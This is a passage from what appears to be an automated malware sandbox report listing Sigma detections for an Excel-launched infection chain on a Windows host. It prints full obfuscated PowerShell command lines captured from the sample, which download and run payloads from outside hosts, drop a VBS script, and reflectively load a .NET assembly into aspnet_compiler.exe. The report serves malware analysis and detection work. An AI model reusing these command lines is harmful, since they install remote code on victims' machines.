ICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe, ProcessId: 3764, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , ProcessId: 3960, ProcessName: wscript.exe

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2104, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 1932, ProcessName: aspnet_compiler.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFT

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline", ProcessId: 3860, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 5.45.108.48, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3224, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\vtjrhji, CommandLine: C:\Users\user\AppData\Roaming\vtjrhji, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\vtjrhji, NewProcessName: C:\Users\user\AppData\Roaming\vtjrhji, OriginalFileName: C:\Users\user\AppData\Roaming\vtjrhji, ParentCommandLine: taskeng.exe {D690A31F-6F9A-4F5C-9D7D-F0EC28BCB101} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1], ParentImage: C:\Windows\System32\taskeng.exe, ParentProcessId: 4052, ParentProcessName: taskeng.exe, ProcessCommandLine: C:\Users\user\AppData\Roaming\vtjrhji, ProcessId: 3728, ProcessName: vtjrhji

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3648, TargetFilename: C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3224, Protocol: tcp, SourceIp: 5.45.108.48, SourceIsIpv6: false, SourcePort: 443

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , ProcessId: 3960, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3648, TargetFilename: C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3224, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", CommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0c

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

